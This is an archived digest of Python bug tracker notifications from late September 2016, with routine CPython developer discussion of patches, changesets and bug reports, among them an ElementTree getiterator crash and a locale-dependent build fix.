_______________________________________

From report at bugs.python.org  Thu Sep 29 13:05:16 2016
From: report at bugs.python.org (INADA Naoki)
Date: Thu, 29 Sep 2016 17:05:16 +0000
Subject: [issue28201] dict: perturb shift should be done when first conflict
In-Reply-To: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>
Message-ID: <1475168716.06.0.888488396643.issue28201@psf.upfronthosting.co.za>


INADA Naoki added the comment:

Could anyone review the patch?
I'm starting to #28199.  But it must conflict with this patch.

----------
assignee:  -> inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Thu Sep 29 13:13:51 2016
From: report at bugs.python.org (Fred L. Drake, Jr.)
Date: Thu, 29 Sep 2016 17:13:51 +0000
Subject: [issue28278] Make `weakref.WeakKeyDictionary.__repr__` meaningful
In-Reply-To: <1474907329.42.0.213961169452.issue28278@psf.upfronthosting.co.za>
Message-ID: <1475169231.38.0.835054152882.issue28278@psf.upfronthosting.co.za>


Fred L. Drake, Jr. added the comment:

I don't recall that the issues discussed here were considered when these classes were added; functionality was the issue at the time.

I'm not particularly opposed to adding a more data-ful repr for the weakref-oriented mappings, but I'm not really convinced they'd be all that valuable, either.  Interesting mappings are often too well populated to deal with using repr.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28278>
_______________________________________

From report at bugs.python.org  Thu Sep 29 13:48:08 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 29 Sep 2016 17:48:08 +0000
Subject: [issue28289] ImportError.__init__ doesn't reset not specified
 exception attributes
In-Reply-To: <1474999372.21.0.472143563436.issue28289@psf.upfronthosting.co.za>
Message-ID: <20160929174804.95317.74766.35AA4B7E@psf.io>


Roundup Robot added the comment:

New changeset dcb39d3ba67a by Serhiy Storchaka in branch 'default':
Issue #28289: ImportError.__init__ now resets not specified attributes.
https://hg.python.org/cpython/rev/dcb39d3ba67a

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28289>
_______________________________________

From report at bugs.python.org  Thu Sep 29 13:48:08 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 29 Sep 2016 17:48:08 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>
Message-ID: <20160929174804.95317.67014.21F847AC@psf.io>


Roundup Robot added the comment:

New changeset 6110997dd6e7 by Serhiy Storchaka in branch '3.5':
Issue #28258: Fixed build with Estonian locale (python-config and distclean
https://hg.python.org/cpython/rev/6110997dd6e7

New changeset 1b9e71f5de83 by Serhiy Storchaka in branch '3.6':
Issue #28258: Fixed build with Estonian locale (python-config and distclean
https://hg.python.org/cpython/rev/1b9e71f5de83

New changeset a2c5179bce01 by Serhiy Storchaka in branch 'default':
Issue #28258: Fixed build with Estonian locale (python-config and distclean
https://hg.python.org/cpython/rev/a2c5179bce01

New changeset f2247d1cb884 by Serhiy Storchaka in branch '2.7':
Issue #28258: Fixed build with Estonian locale (distclean target in
https://hg.python.org/cpython/rev/f2247d1cb884

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Thu Sep 29 13:48:56 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 17:48:56 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>
Message-ID: <1475171336.06.0.507116538173.issue28258@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee: twouters -> serhiy.storchaka
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
type:  -> compile error
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Thu Sep 29 14:17:59 2016
From: report at bugs.python.org (=?utf-8?q?Lawrence_Vel=C3=A1zquez?=)
Date: Thu, 29 Sep 2016 18:17:59 +0000
Subject: [issue18378] locale.getdefaultlocale() fails on Mac OS X with default
 language set to English
In-Reply-To: <1373113143.69.0.513997485887.issue18378@psf.upfronthosting.co.za>
Message-ID: <1475173079.66.0.596240514712.issue18378@psf.upfronthosting.co.za>


Changes by Lawrence Vel?zquez <vq at larryv.me>:


----------
nosy: +larryv

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18378>
_______________________________________

From report at bugs.python.org  Thu Sep 29 14:19:19 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 29 Sep 2016 18:19:19 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1475171336.1.0.243158514677.issue28258@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwbNUuOY1NG1LbA2dtKOnT4yvkv-9GU3uQ05cQjKe-r0jQ@mail.gmail.com>


STINNER Victor added the comment:

"LC_ALL=C; find" are you sure for ";"?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Thu Sep 29 14:45:37 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 18:45:37 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1474063807.66.0.276436600383.issue28183@psf.upfronthosting.co.za>
Message-ID: <1475174737.7.0.170886360617.issue28183@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

It looks to me that the patch contain unneeded changes. Some changes don't affect performance, others don't look well justified. Are there benchmarks that confirm the benefit of these changes?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Thu Sep 29 14:47:43 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 18:47:43 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>
Message-ID: <1475174863.25.0.091882801317.issue28258@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This is the question that I asked Arfrever.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Thu Sep 29 15:25:05 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 19:25:05 +0000
Subject: [issue28295] PyUnicode_AsUCS4 doc and impl conflict on exception
In-Reply-To: <1475050266.78.0.386373068592.issue28295@psf.upfronthosting.co.za>
Message-ID: <1475177105.11.0.00142366943379.issue28295@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

In general the patch LGTM. I have small doubt about the name of one variable, and may be worth to add yet few tests.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28295>
_______________________________________

From report at bugs.python.org  Thu Sep 29 15:36:53 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 29 Sep 2016 19:36:53 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>
Message-ID: <1475177813.85.0.119684786562.issue28258@psf.upfronthosting.co.za>


STINNER Victor added the comment:

"Expansion is performed here by shell (spawned by make) itself before arguments are passed to find. So LC_ALL=C must be set as a separate command."

Oh. I expected at least "export LANG" somewhere. IMHO it deserves a comment explaining the surprising ";".

Does it work if it's written on two lines?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Thu Sep 29 15:44:06 2016
From: report at bugs.python.org (Dmitry Shachnev)
Date: Thu, 29 Sep 2016 19:44:06 +0000
Subject: [issue28314] ElementTree: Element.getiterator(tag) broken in 3.6
Message-ID: <1475178246.36.0.289281608925.issue28314@psf.upfronthosting.co.za>


New submission from Dmitry Shachnev:

The documentation says that getiterator() still accepts a tag argument, but it does not:

>>> from xml.etree.ElementTree import Element
>>> el = Element('foo')
>>> el.getiterator('bar')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
SystemError: ../Python/getargs.c:1508: bad argument to internal function
>>> el.getiterator(tag='bar')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: iter() takes at most 1 argument (140172072006928 given)

This is with Python 3.6.0 beta 1 on Debian GNU/Linux amd64.

----------
components: Library (Lib)
messages: 277717
nosy: mitya57
priority: normal
severity: normal
status: open
title: ElementTree: Element.getiterator(tag) broken in 3.6
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28314>
_______________________________________

From report at bugs.python.org  Thu Sep 29 15:48:04 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 29 Sep 2016 19:48:04 +0000
Subject: [issue28183] Clean up and speed up dict iteration
In-Reply-To: <1475174737.7.0.170886360617.issue28183@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwYiX9sJJ9wrx5Br11H2tjt-xrvavF1soesNKEGtfCyHUw@mail.gmail.com>


STINNER Victor added the comment:

Serhiy Storchaka added the comment:
> It looks to me that the patch contain unneeded changes. Some changes don't affect performance, others don't look well justified. Are there benchmarks that confirm the benefit of these changes?

Hum, since I expect disagreements on the changes, I propose to split
the patch into two parts: minimum change to optimize, and a second
change (later, once the first one is merged) to cleanup further the
code.

"Some changes don't affect performance"

Well, a cleanup is supposed to not affect performances at all :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28183>
_______________________________________

From report at bugs.python.org  Thu Sep 29 15:51:05 2016
From: report at bugs.python.org (Ned Deily)
Date: Thu, 29 Sep 2016 19:51:05 +0000
Subject: [issue28314] ElementTree: Element.getiterator(tag) broken in 3.6
In-Reply-To: <1475178246.36.0.289281608925.issue28314@psf.upfronthosting.co.za>
Message-ID: <1475178665.22.0.985689949021.issue28314@psf.upfronthosting.co.za>


Ned Deily added the comment:

Even better:

Python 3.6.0b1 (v3.6.0b1:5b0ca4ed5e2f, Sep 12 2016, 09:24:46)
[GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from xml.etree.ElementTree import Element
>>> el = Element('foo')
>>> el.getiterator('bar')
Segmentation fault: 11

----------
nosy: +ned.deily
priority: normal -> critical
stage:  -> needs patch
type: behavior -> crash
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28314>
_______________________________________

From report at bugs.python.org  Thu Sep 29 15:51:19 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 19:51:19 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1475177813.85.0.119684786562.issue28258@psf.upfronthosting.co.za>
Message-ID: <2774095.EHaX2JBv9d@xarax>


Serhiy Storchaka added the comment:

> Oh. I expected at least "export LANG" somewhere. IMHO it deserves a comment
> explaining the surprising ";".

I don't know if export is needed. I see the same behavior with and without 
export.

> Does it work if it's written on two lines?

No, it doesn't work.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Thu Sep 29 15:59:48 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 29 Sep 2016 19:59:48 +0000
Subject: [issue28314] ElementTree: Element.getiterator(tag) broken in 3.6
In-Reply-To: <1475178246.36.0.289281608925.issue28314@psf.upfronthosting.co.za>
Message-ID: <1475179188.35.0.245383960847.issue28314@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The bug seems related to the new FASTCALL calling convention introduced in Python 3.6b1. For an unknown reason, the METH_FASTCALL defined in Modules/clinic/_elementtree.c on _elementtree_Element_iter() seems to be ignored or lost somewhere?

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28314>
_______________________________________

From report at bugs.python.org  Thu Sep 29 16:05:45 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 29 Sep 2016 20:05:45 +0000
Subject: [issue28314] ElementTree: Element.getiterator(tag) broken in 3.6
In-Reply-To: <1475178246.36.0.289281608925.issue28314@psf.upfronthosting.co.za>
Message-ID: <1475179545.25.0.244801337963.issue28314@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Oh... Modules/_elementtree.c uses a function defined in Modules/clinic/_elementtree.c. It hardcodes flags, whereas flags changed.

Maybe the alias should be created differently to avoid such issue in the future?

Moreover, obviously, we lack unit tests on this getiterator() method.

----------
keywords: +patch
Added file: http://bugs.python.org/file44881/etree.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28314>
_______________________________________

From report at bugs.python.org  Thu Sep 29 16:07:47 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 29 Sep 2016 20:07:47 +0000
Subject: [issue28314] ElementTree: Element.getiterator(tag) broken in 3.6
In-Reply-To: <1475178246.36.0.289281608925.issue28314@psf.upfronthosting.co.za>
Message-ID: <1475179667.86.0.125841377369.issue28314@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
priority: critical -> release blocker

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28314>
_______________________________________

From report at bugs.python.org  Thu Sep 29 16:14:08 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 20:14:08 +0000
Subject: [issue28314] ElementTree: Element.getiterator(tag) broken in 3.6
In-Reply-To: <1475178246.36.0.289281608925.issue28314@psf.upfronthosting.co.za>
Message-ID: <1475180048.94.0.287409003347.issue28314@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28314>
_______________________________________

From report at bugs.python.org  Thu Sep 29 16:14:46 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 29 Sep 2016 20:14:46 +0000
Subject: [issue28314] ElementTree: Element.getiterator(tag) broken in 3.6
In-Reply-To: <1475178246.36.0.289281608925.issue28314@psf.upfronthosting.co.za>
Message-ID: <20160929201443.79404.63966.6533DE27@psf.io>


Roundup Robot added the comment:

New changeset 1e29dca5dc4c by Victor Stinner in branch '3.6':
Fix xml.etree.ElementTree.Element.getiterator()
https://hg.python.org/cpython/rev/1e29dca5dc4c

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28314>
_______________________________________

From report at bugs.python.org  Thu Sep 29 16:16:20 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 29 Sep 2016 20:16:20 +0000
Subject: [issue28314] ElementTree: Element.getiterator(tag) broken in 3.6
In-Reply-To: <1475178246.36.0.289281608925.issue28314@psf.upfronthosting.co.za>
Message-ID: <1475180180.73.0.178033904789.issue28314@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I pushed the first obvious fix to unblock the 3.6 beta 2 release scheduled for next monday.

----------
priority: release blocker -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28314>
_______________________________________

From report at bugs.python.org  Thu Sep 29 16:29:55 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 20:29:55 +0000
Subject: [issue28314] ElementTree: Element.getiterator(tag) broken in 3.6
In-Reply-To: <1475178246.36.0.289281608925.issue28314@psf.upfronthosting.co.za>
Message-ID: <1475180995.04.0.674839817055.issue28314@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Here is a test.

----------
Added file: http://bugs.python.org/file44882/test_getiterator.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28314>
_______________________________________

From report at bugs.python.org  Thu Sep 29 16:33:44 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 29 Sep 2016 20:33:44 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
In-Reply-To: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>
Message-ID: <20160929203341.85797.72587.07EFD063@psf.io>


Roundup Robot added the comment:

New changeset 17f2b6b2e24c by Victor Stinner in branch '3.5':
Issue #28258: Explain the LC_ALL change in a comment
https://hg.python.org/cpython/rev/17f2b6b2e24c

New changeset f256bd5b8418 by Victor Stinner in branch '2.7':
Issue #28258: Explain the LC_ALL change in a comment
https://hg.python.org/cpython/rev/f256bd5b8418

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28258>
_______________________________________

From report at bugs.python.org  Thu Sep 29 16:44:50 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 20:44:50 +0000
Subject: [issue28313] ttk Style().configure() overwrites Tk().option_add()
 Button but not Label
In-Reply-To: <1475162908.88.0.380159075782.issue28313@psf.upfronthosting.co.za>
Message-ID: <1475181890.95.0.0149456227511.issue28313@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This is not Tkinter issue. Pure Tcl/Tk script shows the same result. If this is a bug (I don't know), this is Tk bug.

----------
nosy: +serhiy.storchaka
resolution:  -> third party
stage:  -> resolved
status: open -> closed
Added file: http://bugs.python.org/file44883/issue28313.tcl

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28313>
_______________________________________

From report at bugs.python.org  Thu Sep 29 17:09:03 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 29 Sep 2016 21:09:03 +0000
Subject: [issue28228] imghdr does not support pathlib
In-Reply-To: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>
Message-ID: <1475183343.37.0.378830537795.issue28228@psf.upfronthosting.co.za>


Brett Cannon added the comment:

According to https://www.python.org/dev/peps/pep-0494/#schedule, 2.6.0b2 is due on Sunday. Do you think you will be able to commit this and the other patches for PathLike support by then, Ethan?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Thu Sep 29 17:15:45 2016
From: report at bugs.python.org (Oren Milman)
Date: Thu, 29 Sep 2016 21:15:45 +0000
Subject: [issue28298] can't set big int-like objects to items in array 'Q',
 'L' and 'I'
In-Reply-To: <1475057375.91.0.35024252276.issue28298@psf.upfronthosting.co.za>
Message-ID: <1475183745.79.0.735898267771.issue28298@psf.upfronthosting.co.za>


Oren Milman added the comment:

Ah, I should have read more about __int__ and __index__ before writing my last reply.
So IIUC, this is a somewhat painful issue, which could be resolved by:
    * #20092
    * replacing _PyLong_FromNbInt with PyNumber_Index in:
        - Objects/longobject.c (as you suggested in https://bugs.python.org/issue12965#msg146252)
        - Modules/zlibmodule.c in ssize_t_converter
I didn't find any issue for the second one. If there is really no such issue, why is that? (I am sorry if I am the thousandth one to ask)
The first paragraph of your comment in https://bugs.python.org/issue21111#msg215660 suggests it might break a lot of code in the wild, but shouldn't we start with raising a deprecation warning?

With regard to my patch - should I make the following changes?
    1. in Modules/arraymodule.c - add a call to PyNumber_Index before the call to _PyLong_FromNbInt (and move them into a helper function, as done in Modules/_struct.c)
    2. in Lib/test/test_array.py:
        * replace the name 'LikeInt' with 'IntCompatible' (I am not sure this is an appropriate name either. If you have a better name in mind, please share :) )
        * add tests for LikeInt (this time, a class with a __index__ method)
    3. In Doc/library/array.rst:
        * add a note saying that setting int-like objects (i.e. objects with __index__) to items in an integers array is possible
        * while we are here, remove the note about the availability of 'q' and 'Q' only in certain platforms

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28298>
_______________________________________

From report at bugs.python.org  Thu Sep 29 17:25:38 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Thu, 29 Sep 2016 21:25:38 +0000
Subject: [issue28222] test_distutils fails
In-Reply-To: <1474432052.98.0.601076913744.issue28222@psf.upfronthosting.co.za>
Message-ID: <1475184338.95.0.320186197093.issue28222@psf.upfronthosting.co.za>


Changes by Mariatta Wijaya <mariatta.wijaya at gmail.com>:


----------
nosy: +Mariatta

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28222>
_______________________________________

From report at bugs.python.org  Thu Sep 29 17:43:45 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Thu, 29 Sep 2016 21:43:45 +0000
Subject: [issue21879] str.format() gives poor diagnostic on placeholder
 mismatch
In-Reply-To: <1404052648.46.0.81950938275.issue21879@psf.upfronthosting.co.za>
Message-ID: <1475185425.36.0.205122407709.issue21879@psf.upfronthosting.co.za>


Changes by Mariatta Wijaya <mariatta.wijaya at gmail.com>:


----------
nosy: +Mariatta

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21879>
_______________________________________

From report at bugs.python.org  Thu Sep 29 17:59:23 2016
From: report at bugs.python.org (qubodup)
Date: Thu, 29 Sep 2016 21:59:23 +0000
Subject: [issue28313] ttk Style().configure() overwrites Tk().option_add()
 Button but not Label
In-Reply-To: <1475162908.88.0.380159075782.issue28313@psf.upfronthosting.co.za>
Message-ID: <1475186363.94.0.306473645484.issue28313@psf.upfronthosting.co.za>


qubodup added the comment:

Thank you for clarifying, reported at http://core.tcl.tk/tk/tktview/1dde2144bdcc5a93f8724fc1b1b85b19114e42c0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28313>
_______________________________________

From report at bugs.python.org  Thu Sep 29 18:22:44 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Thu, 29 Sep 2016 22:22:44 +0000
Subject: [issue23740] http.client request and send method have some datatype
 issues
In-Reply-To: <1427052524.74.0.134908492197.issue23740@psf.upfronthosting.co.za>
Message-ID: <1475187764.98.0.806679583612.issue23740@psf.upfronthosting.co.za>


Changes by Mariatta Wijaya <mariatta.wijaya at gmail.com>:


----------
nosy: +Mariatta

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23740>
_______________________________________

From report at bugs.python.org  Thu Sep 29 20:17:25 2016
From: report at bugs.python.org (Viorel Tabara)
Date: Fri, 30 Sep 2016 00:17:25 +0000
Subject: [issue28315] incorrect "in ?" output in 'divide' example at "Defining
 Clean-up Actions" in tutorial
Message-ID: <1475194645.41.0.947079052008.issue28315@psf.upfronthosting.co.za>


New submission from Viorel Tabara:

At https://docs.python.org/3.5/tutorial/errors.html#defining-clean-up-actions 
when I'm running the "divide('2', '1')" example I get:

  File "<stdin>", line 1, in <module>

instead of the documentation output of:

   File "<stdin>", line 1, in ? 

The same message is included with the 2.7 tutorial.

To wit:

   $ python3
   Python 3.5.2 (default, Sep 14 2016, 11:28:32)
   [GCC 6.2.1 20160901 (Red Hat 6.2.1-1)] on linux
   Type "help", "copyright", "credits" or "license" for more information.
   >>> def divide(x, y):
   ...     try:
   ...             result = x / y
   ...     except ZeroDivisionError:
   ...             print('division by zero!')
   ...     else:
   ...             print('result is', result)
   ...     finally:
   ...             print('executing finally clause')
   ...
   >>> divide(2, 1)
   result is 2.0
   executing finally clause
   >>> divide(2, 0)
   division by zero!
   executing finally clause
   >>> divide('2', '1')
   executing finally clause
   Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
   File "<stdin>", line 3, in divide
   TypeError: unsupported operand type(s) for /: 'str' and 'str'


   $ python2
   Python 2.7.12 (default, Sep  2 2016, 15:40:50)
   [GCC 6.2.1 20160901 (Red Hat 6.2.1-1)] on linux2
   Type "help", "copyright", "credits" or "license" for more information.
   >>> def divide(x, y):
   ...     result = x / y
   KeyboardInterrupt
   >>> def divide(x, y):
   ...     try:
   ...             result = x / y
   ...     except ZeroDivisionError:
   ...             print('division by zero!')
   ...     else:
   ...             print('result is', result)
   ...     finally:
   ...             print('executing finally clause')
   ...
   >>> divide(2, 1)
   ('result is', 2)
   executing finally clause
   >>> divide(2, 0)
   division by zero!
   executing finally clause
   >>> divide('2', '1')
   executing finally clause
   Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
   File "<stdin>", line 3, in divide
   TypeError: unsupported operand type(s) for /: 'str' and 'str'
  

Nice tutorial by the way ;) Thanks!

----------
assignee: docs at python
components: Documentation
messages: 277731
nosy: docs at python, viorel
priority: normal
severity: normal
status: open
title: incorrect "in ?" output in 'divide' example at "Defining Clean-up Actions" in tutorial
type: behavior
versions: Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28315>
_______________________________________

From report at bugs.python.org  Thu Sep 29 20:23:08 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 30 Sep 2016 00:23:08 +0000
Subject: [issue28228] imghdr does not support pathlib
In-Reply-To: <1474489313.4.0.716838576472.issue28228@psf.upfronthosting.co.za>
Message-ID: <1475194988.48.0.671997855856.issue28228@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here's a new patch that addresses Serhiy's comments.

Let me know if you need a hand with review and commit these patches this weekend :)

----------
nosy: +berker.peksag
Added file: http://bugs.python.org/file44884/issue28228_v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Thu Sep 29 20:24:39 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Fri, 30 Sep 2016 00:24:39 +0000
Subject: [issue28315] incorrect "in ?" output in 'divide' example at "Defining
 Clean-up Actions" in tutorial
In-Reply-To: <1475194645.41.0.947079052008.issue28315@psf.upfronthosting.co.za>
Message-ID: <1475195079.34.0.136132163394.issue28315@psf.upfronthosting.co.za>


Changes by Mariatta Wijaya <mariatta.wijaya at gmail.com>:


----------
nosy: +Mariatta

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28315>
_______________________________________

From report at bugs.python.org  Thu Sep 29 20:35:42 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Fri, 30 Sep 2016 00:35:42 +0000
Subject: [issue28315] incorrect "in ?" output in 'divide' example at "Defining
 Clean-up Actions" in tutorial
In-Reply-To: <1475194645.41.0.947079052008.issue28315@psf.upfronthosting.co.za>
Message-ID: <1475195742.76.0.912756749563.issue28315@psf.upfronthosting.co.za>


Mariatta Wijaya added the comment:

Thanks for the report. I agree, it should be <module> instead of ?

I'll work on a patch for this :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28315>
_______________________________________

From report at bugs.python.org  Thu Sep 29 22:55:12 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Fri, 30 Sep 2016 02:55:12 +0000
Subject: [issue28315] incorrect "in ?" output in 'divide' example at "Defining
 Clean-up Actions" in tutorial
In-Reply-To: <1475194645.41.0.947079052008.issue28315@psf.upfronthosting.co.za>
Message-ID: <1475204112.32.0.675173015628.issue28315@psf.upfronthosting.co.za>


Mariatta Wijaya added the comment:

Updated the documentation to use <module> instead of ?

I also went through other examples in the page and fixed those too.

----------
keywords: +patch
Added file: http://bugs.python.org/file44885/issue28315.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28315>
_______________________________________

From report at bugs.python.org  Thu Sep 29 23:02:47 2016
From: report at bugs.python.org (Ned Deily)
Date: Fri, 30 Sep 2016 03:02:47 +0000
Subject: [issue27854] Installed 2.7: IDLE Help disabled because help.html is
 missing
In-Reply-To: <1472078066.3.0.116550230826.issue27854@psf.upfronthosting.co.za>
Message-ID: <1475204567.66.0.868766423437.issue27854@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27854>
_______________________________________

From report at bugs.python.org  Thu Sep 29 23:07:42 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 30 Sep 2016 03:07:42 +0000
Subject: [issue27100] Attempting to use class with both __enter__ & __exit__
 undefined yields __exit__ attribute error
In-Reply-To: <1464060517.76.0.559675330412.issue27100@psf.upfronthosting.co.za>
Message-ID: <1475204862.32.0.51005287002.issue27100@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Due to the expected semantics of AttributeError being relatively precise, changing to a protocol check rather than just changing the order we look up the protocol attributes would also involving changing from AttributeError to TypeError.

Since that's a potentially more disruptive change and just changing the order of the checks is likely sufficient to reduce confusion, the latter approach is preferable, at least for now (if folks are still getting confused by the time 3.7 rolls around, then that option would be worth reconsidering).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27100>
_______________________________________

From report at bugs.python.org  Thu Sep 29 23:24:16 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 30 Sep 2016 03:24:16 +0000
Subject: [issue28226] compileall does not support pathlib
In-Reply-To: <1474828401.93.0.0387721532951.issue28226@psf.upfronthosting.co.za>
Message-ID: <1475205856.65.0.952216720961.issue28226@psf.upfronthosting.co.za>


Berker Peksag added the comment:

> Is there a fix for compileall missing from the patch?

No, os.path.* functions have taken care of the conversion, but the output was in the following format:

    Compiling PosixPath('/tmp/tmp_nfh98lw/_test.py')...

I fixed it, added a test for the ddir argument and simplified tests a bit.

----------
components: +Library (Lib)
nosy: +berker.peksag
Added file: http://bugs.python.org/file44886/issue28226_v2.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Thu Sep 29 23:42:40 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 30 Sep 2016 03:42:40 +0000
Subject: [issue28226] compileall does not support pathlib
In-Reply-To: <1474828401.93.0.0387721532951.issue28226@psf.upfronthosting.co.za>
Message-ID: <1475206960.82.0.436893693863.issue28226@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


Added file: http://bugs.python.org/file44887/issue28226_v3.diff

_______________________________________
